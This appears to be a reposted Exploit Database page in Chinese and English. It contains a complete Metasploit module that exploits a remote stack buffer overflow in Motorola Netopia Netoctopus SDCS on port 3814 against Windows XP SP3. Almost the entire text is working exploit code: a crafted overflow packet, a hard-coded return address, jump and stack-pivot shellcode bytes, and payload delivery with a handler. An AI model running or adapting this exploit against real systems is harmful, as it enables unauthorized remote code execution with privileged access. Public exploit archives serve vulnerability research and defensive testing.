Motorola Netopia Netoctopus SDCS – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： James Fitts
  日期： 2017-09-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42696/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Motorola Netopia Netoctopus SDCS Stack Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a vulnerability within the code responsible for
  				parsing client requests. When reading in a request from the network,
  				a 32-bit integer is read in that specifies the number of bytes that
  				follow. This value is not validated, and is then used to read data into
  				a fixed-size stack buffer.
  			},
  			'Author' => [ 'James Fitts' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=851' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'	=> 500,
  					'DisableNops' => 'true',
  					'BadChars' => "",
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 
  						'Windows XP SP3 EN', 
  							{ 
  								# pop ecx/ pop ecx/ retn
  								# msvcrt.dll
  								'Ret' => 0x0044e046, 
  							} 
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jul 14 2008'))
  
  		register_options(
  			[
  				Opt::RPORT(3814)
  			], self.class )
  	end
  
  	def exploit
  		connect
  
  		p = payload.encoded
  
  		pkt = "\x41" * 600
  		pkt[0, 4] = [0x01000000].pack('V')
  		pkt[8, 4] = [0x01000000].pack('V')
  		pkt[12, 4] = [0x01000000].pack('V')
  		pkt[16, 4] = [0x03000000].pack('V')		# this is the value mentioned above
  		pkt[20, 4] = [0x66000000].pack('V')
  		pkt[30, p.length] = p
  		pkt[545, 4] = "\xeb\x06\x90\x90"
  		pkt[549, 4] = [target.ret].pack('V')
  		pkt[558, 6] = "\x81\xc4\x34\x06\x00\x00"	# add esp, 1588
  		pkt[564, 2] = "\xff\xe4"			# jmp esp
  
  
  		print_status("Trying target %s..." % target.name)
  
  		sock.put(pkt)
  
  		handler
  		disconnect
  	end
  
  end